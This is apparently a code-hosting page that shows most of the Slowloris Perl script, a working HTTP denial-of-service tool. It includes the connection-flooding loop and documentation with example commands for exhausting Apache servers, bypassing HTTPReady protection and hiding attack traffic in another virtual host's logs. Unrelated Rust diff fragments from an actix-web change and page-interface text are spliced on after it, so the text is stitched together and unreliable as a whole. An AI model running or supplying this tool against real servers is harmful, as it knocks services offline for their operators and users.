||||||
oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
|
|
||||||
oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
|
|
||||||
CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
|
|
||||||
CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
|
|
||||||
OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO
|
|
||||||
OOOOO888\@8\@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
|
|
||||||
COOO888\@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO
|
|
||||||
CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC
|
|
||||||
coooCCO8\@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC
|
|
||||||
:ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC
|
|
||||||
.:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC
|
|
||||||
....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
|
|
||||||
.......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
|
|
||||||
...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
|
|
||||||
.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
|
|
||||||
..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC
|
|
||||||
. . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco
|
|
||||||
. .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc
|
|
||||||
. . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco
|
|
||||||
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
|
|
||||||
EOTEXT
|
|
||||||
|
|
||||||
my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
|
|
||||||
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
|
|
||||||
my $result = GetOptions(
|
|
||||||
'shost=s' => \$shost,
|
|
||||||
'dns=s' => \$host,
|
|
||||||
'httpready' => \$httpready,
|
|
||||||
'num=i' => \$connections,
|
|
||||||
'cache' => \$cache,
|
|
||||||
'port=i' => \$port,
|
|
||||||
'https' => \$ssl,
|
|
||||||
'tcpto=i' => \$tcpto,
|
|
||||||
'test' => \$test,
|
|
||||||
'timeout=i' => \$timeout,
|
|
||||||
'version' => \$version,
|
|
||||||
);
|
|
||||||
|
|
||||||
if ($version) {
|
|
||||||
print "Version 0.7\n";
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
|
|
||||||
unless ($host) {
|
|
||||||
print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
|
|
||||||
print "\n\tType 'perldoc $0' for help with options.\n\n";
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
|
|
||||||
unless ($port) {
|
|
||||||
$port = 80;
|
|
||||||
print "Defaulting to port 80.\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
unless ($tcpto) {
|
|
||||||
$tcpto = 5;
|
|
||||||
print "Defaulting to a 5 second tcp connection timeout.\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
unless ($test) {
|
|
||||||
unless ($timeout) {
|
|
||||||
$timeout = 100;
|
|
||||||
print "Defaulting to a 100 second re-try timeout.\n";
|
|
||||||
}
|
|
||||||
unless ($connections) {
|
|
||||||
$connections = 1000;
|
|
||||||
print "Defaulting to 1000 connections.\n";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
my $usemultithreading = 0;
|
|
||||||
if ( $Config{usethreads} ) {
|
|
||||||
print "Multithreading enabled.\n";
|
|
||||||
$usemultithreading = 1;
|
|
||||||
use threads;
|
|
||||||
use threads::shared;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
print "No multithreading capabilites found!\n";
|
|
||||||
print "Slowloris will be slower than normal as a result.\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
my $packetcount : shared = 0;
|
|
||||||
my $failed : shared = 0;
|
|
||||||
my $connectioncount : shared = 0;
|
|
||||||
|
|
||||||
srand() if ($cache);
|
|
||||||
|
|
||||||
if ($shost) {
|
|
||||||
$sendhost = $shost;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$sendhost = $host;
|
|
||||||
}
|
|
||||||
if ($httpready) {
|
|
||||||
$method = "POST";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$method = "GET";
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($test) {
|
|
||||||
my @times = ( "2", "30", "90", "240", "500" );
|
|
||||||
my $totaltime = 0;
|
|
||||||
foreach (@times) {
|
|
||||||
$totaltime = $totaltime + $_;
|
|
||||||
}
|
|
||||||
$totaltime = $totaltime / 60;
|
|
||||||
print "This test could take up to $totaltime minutes.\n";
|
|
||||||
|
|
||||||
my $delay = 0;
|
|
||||||
my $working = 0;
|
|
||||||
my $sock;
|
|
||||||
|
|
||||||
if ($ssl) {
|
|
||||||
if (
|
|
||||||
$sock = new IO::Socket::SSL(
|
|
||||||
PeerAddr => "$host",
|
|
||||||
PeerPort => "$port",
|
|
||||||
Timeout => "$tcpto",
|
|
||||||
Proto => "tcp",
|
|
||||||
)
|
|
||||||
)
|
|
||||||
{
|
|
||||||
$working = 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
if (
|
|
||||||
$sock = new IO::Socket::INET(
|
|
||||||
PeerAddr => "$host",
|
|
||||||
PeerPort => "$port",
|
|
||||||
Timeout => "$tcpto",
|
|
||||||
Proto => "tcp",
|
|
||||||
)
|
|
||||||
)
|
|
||||||
{
|
|
||||||
$working = 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if ($working) {
|
|
||||||
if ($cache) {
|
|
||||||
$rand = "?" . int( rand(99999999999999) );
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$rand = "";
|
|
||||||
}
|
|
||||||
my $primarypayload =
|
|
||||||
"GET /$rand HTTP/1.1\r\n"
|
|
||||||
. "Host: $sendhost\r\n"
|
|
||||||
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
|
|
||||||
. "Content-Length: 42\r\n";
|
|
||||||
if ( print $sock $primarypayload ) {
|
|
||||||
print "Connection successful, now comes the waiting game...\n";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
print
|
|
||||||
"That's odd - I connected but couldn't send the data to $host:$port.\n";
|
|
||||||
print "Is something wrong?\nDying.\n";
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
print "Uhm... I can't connect to $host:$port.\n";
|
|
||||||
print "Is something wrong?\nDying.\n";
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
for ( my $i = 0 ; $i <= $#times ; $i++ ) {
|
|
||||||
print "Trying a $times[$i] second delay: \n";
|
|
||||||
sleep( $times[$i] );
|
|
||||||
if ( print $sock "X-a: b\r\n" ) {
|
|
||||||
print "\tWorked.\n";
|
|
||||||
$delay = $times[$i];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
if ( $SIG{__WARN__} ) {
|
|
||||||
$delay = $times[ $i - 1 ];
|
|
||||||
last;
|
|
||||||
}
|
|
||||||
print "\tFailed after $times[$i] seconds.\n";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if ( print $sock "Connection: Close\r\n\r\n" ) {
|
|
||||||
print "Okay that's enough time. Slowloris closed the socket.\n";
|
|
||||||
print "Use $delay seconds for -timeout.\n";
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
print "Remote server closed socket.\n";
|
|
||||||
print "Use $delay seconds for -timeout.\n";
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
if ( $delay < 166 ) {
|
|
||||||
print <<EOSUCKS2BU;
|
|
||||||
Since the timeout ended up being so small ($delay seconds) and it generally
|
|
||||||
takes between 200-500 threads for most servers and assuming any latency at
|
|
||||||
all... you might have trouble using Slowloris against this target. You can
|
|
||||||
tweak the -timeout flag down to less than 10 seconds but it still may not
|
|
||||||
build the sockets in time.
|
|
||||||
EOSUCKS2BU
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
print
|
|
||||||
"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";
|
|
||||||
|
|
||||||
if ($usemultithreading) {
|
|
||||||
domultithreading($connections);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
doconnections( $connections, $usemultithreading );
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub doconnections {
|
|
||||||
my ( $num, $usemultithreading ) = @_;
|
|
||||||
my ( @first, @sock, @working );
|
|
||||||
my $failedconnections = 0;
|
|
||||||
$working[$_] = 0 foreach ( 1 .. $num ); #initializing
|
|
||||||
$first[$_] = 0 foreach ( 1 .. $num ); #initializing
|
|
||||||
while (1) {
|
|
||||||
$failedconnections = 0;
|
|
||||||
print "\t\tBuilding sockets.\n";
|
|
||||||
foreach my $z ( 1 .. $num ) {
|
|
||||||
if ( $working[$z] == 0 ) {
|
|
||||||
if ($ssl) {
|
|
||||||
if (
|
|
||||||
$sock[$z] = new IO::Socket::SSL(
|
|
||||||
PeerAddr => "$host",
|
|
||||||
PeerPort => "$port",
|
|
||||||
Timeout => "$tcpto",
|
|
||||||
Proto => "tcp",
|
|
||||||
)
|
|
||||||
)
|
|
||||||
{
|
|
||||||
$working[$z] = 1;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$working[$z] = 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
if (
|
|
||||||
$sock[$z] = new IO::Socket::INET(
|
|
||||||
PeerAddr => "$host",
|
|
||||||
PeerPort => "$port",
|
|
||||||
Timeout => "$tcpto",
|
|
||||||
Proto => "tcp",
|
|
||||||
)
|
|
||||||
)
|
|
||||||
{
|
|
||||||
$working[$z] = 1;
|
|
||||||
$packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$working[$z] = 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if ( $working[$z] == 1 ) {
|
|
||||||
if ($cache) {
|
|
||||||
$rand = "?" . int( rand(99999999999999) );
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$rand = "";
|
|
||||||
}
|
|
||||||
my $primarypayload =
|
|
||||||
"$method /$rand HTTP/1.1\r\n"
|
|
||||||
. "Host: $sendhost\r\n"
|
|
||||||
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
|
|
||||||
. "Content-Length: 42\r\n";
|
|
||||||
my $handle = $sock[$z];
|
|
||||||
if ($handle) {
|
|
||||||
print $handle "$primarypayload";
|
|
||||||
if ( $SIG{__WARN__} ) {
|
|
||||||
$working[$z] = 0;
|
|
||||||
close $handle;
|
|
||||||
$failed++;
|
|
||||||
$failedconnections++;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$packetcount++;
|
|
||||||
$working[$z] = 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$working[$z] = 0;
|
|
||||||
$failed++;
|
|
||||||
$failedconnections++;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$working[$z] = 0;
|
|
||||||
$failed++;
|
|
||||||
$failedconnections++;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
print "\t\tSending data.\n";
|
|
||||||
foreach my $z ( 1 .. $num ) {
|
|
||||||
if ( $working[$z] == 1 ) {
|
|
||||||
if ( $sock[$z] ) {
|
|
||||||
my $handle = $sock[$z];
|
|
||||||
if ( print $handle "X-a: b\r\n" ) {
|
|
||||||
$working[$z] = 1;
|
|
||||||
$packetcount++;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$working[$z] = 0;
|
|
||||||
#debugging info
|
|
||||||
$failed++;
|
|
||||||
$failedconnections++;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$working[$z] = 0;
|
|
||||||
#debugging info
|
|
||||||
$failed++;
|
|
||||||
$failedconnections++;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
print
|
|
||||||
"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
|
|
||||||
sleep($timeout);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub domultithreading {
|
|
||||||
my ($num) = @_;
|
|
||||||
my @thrs;
|
|
||||||
my $i = 0;
|
|
||||||
my $connectionsperthread = 50;
|
|
||||||
while ( $i < $num ) {
|
|
||||||
$thrs[$i] =
|
|
||||||
threads->create( \&doconnections, $connectionsperthread, 1 );
|
|
||||||
$i += $connectionsperthread;
|
|
||||||
}
|
|
||||||
my @threadslist = threads->list();
|
|
||||||
while ( $#threadslist > 0 ) {
|
|
||||||
$failed = 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
__END__
|
|
||||||
|
|
||||||
=head1 TITLE
|
|
||||||
|
|
||||||
Slowloris
|
|
||||||
|
|
||||||
=head1 VERSION
|
|
||||||
|
|
||||||
Version 0.7 Beta
|
|
||||||
|
|
||||||
=head1 DATE
|
|
||||||
|
|
||||||
06/17/2009
|
|
||||||
|
|
||||||
=head1 AUTHOR
|
|
||||||
|
|
||||||
RSnake <h@ckers.org> with threading from John Kinsella
|
|
||||||
|
|
||||||
=head1 ABSTRACT
|
|
||||||
|
|
||||||
Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.
|
|
||||||
|
|
||||||
=head1 AFFECTS
|
|
||||||
|
|
||||||
Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?
|
|
||||||
|
|
||||||
=head1 NOT AFFECTED
|
|
||||||
|
|
||||||
IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?
|
|
||||||
|
|
||||||
=head1 DESCRIPTION
|
|
||||||
|
|
||||||
Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data. Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts. There is an added function to help you get started with finding the right sized timeouts as well.
|
|
||||||
|
|
||||||
As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances. Think of Slowloris as the HTTP equivalent of a SYN flood.
|
|
||||||
|
|
||||||
=head2 Testing
|
|
||||||
|
|
||||||
If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:
|
|
||||||
|
|
||||||
=head3 Testing Example:
|
|
||||||
|
|
||||||
./slowloris.pl -dns www.example.com -port 80 -test
|
|
||||||
|
|
||||||
This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for. If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing).
|
|
||||||
|
|
||||||
=head2 HTTP DoS
|
|
||||||
|
|
||||||
Once you find a timeout window, you can tune Slowloris to use certain timeout windows. For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds. The following example uses 500 sockets. Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration. Some are less than 300. The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision. The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful. Slowloris has no way to identify if it's successful or not though.
|
|
||||||
|
|
||||||
=head3 HTTP DoS Example:
|
|
||||||
|
|
||||||
./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5
|
|
||||||
|
|
||||||
=head2 HTTPReady Bypass
|
|
||||||
|
|
||||||
HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch.
|
|
||||||
|
|
||||||
=head3 HTTPReady Bypass Example
|
|
||||||
|
|
||||||
./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready
|
|
||||||
|
|
||||||
=head2 Stealth Host DoS
|
|
||||||
|
|
||||||
If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable. This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.
|
|
||||||
|
|
||||||
=head3 Stealth Host DoS Example:
|
|
||||||
|
|
||||||
./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com
|
|
||||||
|
|
||||||
=head2 HTTPS DoS
|
|
||||||
|
|
||||||
Slowloris does support SSL/TLS on an experimental basis with the -https switch. The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development. Your mileage may vary.
|
|
||||||
|
|
||||||
=head3 HTTPS DoS Example:
|
|
||||||
|
|
||||||
./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https
|
|
||||||
|
|
||||||
=head2 HTTP Cache
|
|
||||||
|
|
||||||
Slowloris does support cache avoidance on an experimental basis with the -cache switch. Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources. The usefulness of this particular option has not been thoroughly tested. Your mileage may vary.
|
|
||||||
|
|
||||||
=head3 HTTP Cache Example:
|
|
||||||
|
|
||||||
./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache
|
|
||||||
|
|
||||||
=head1 Issues
|
|
||||||
|
|
||||||
Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation. They may be ways around this, but not in this version at this time. Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.
|
|
||||||
|
|
||||||
Slowloris isn't completely quiet either, because it can't be. Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder). So it's not invisible if the traffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture.
|
|
||||||
|
|
||||||
For some reason Slowloris works way better if run from a *Nix box than from Windows. I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number. If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems. Either way, this program seems to work best if run from FreeBSD.
|
|
||||||
|
|
||||||
Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors. So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too.
|
|
||||||
|
|
||||||
=head1 What is a slow loris?
|
|
||||||
|
|
||||||
What exactly is a slow loris? It's an extremely cute but endangered mammal that happens to also be poisonous. Check this out:
|
|
||||||
|
|
||||||
http://www.youtube.com/watch?v=rLdQ3UhLoD4
|
|
|
@ -284,7 +284,7 @@ mod tests {
|
||||||
async fn test_data_from_arc() {
|
async fn test_data_from_arc() {
|
||||||
let data_new = Data::new(String::from("test-123"));
|
let data_new = Data::new(String::from("test-123"));
|
||||||
let data_from_arc = Data::from(Arc::new(String::from("test-123")));
|
let data_from_arc = Data::from(Arc::new(String::from("test-123")));
|
||||||
assert_eq!(data_new.0, data_from_arc.0)
|
assert_eq!(data_new.0, data_from_arc.0);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[actix_rt::test]
|
#[actix_rt::test]
|
||||||
|
|
|
@ -26,7 +26,7 @@ use cookie::{Cookie, CookieJar};
|
||||||
|
|
||||||
use crate::{
|
use crate::{
|
||||||
error::{Error, JsonPayloadError},
|
error::{Error, JsonPayloadError},
|
||||||
HttpResponse,
|
BoxError, HttpResponse,
|
||||||
};
|
};
|
||||||
|
|
||||||
/// An HTTP response builder.
|
/// An HTTP response builder.
|
||||||
|
@ -356,7 +356,7 @@ impl HttpResponseBuilder {
|
||||||
pub fn streaming<S, E>(&mut self, stream: S) -> HttpResponse
|
pub fn streaming<S, E>(&mut self, stream: S) -> HttpResponse
|
||||||
where
|
where
|
||||||
S: Stream<Item = Result<Bytes, E>> + 'static,
|
S: Stream<Item = Result<Bytes, E>> + 'static,
|
||||||
E: Into<Box<dyn StdError>> + 'static,
|
E: Into<BoxError> + 'static,
|
||||||
{
|
{
|
||||||
self.body(BoxBody::new(BodyStream::new(stream)))
|
self.body(BoxBody::new(BodyStream::new(stream)))
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue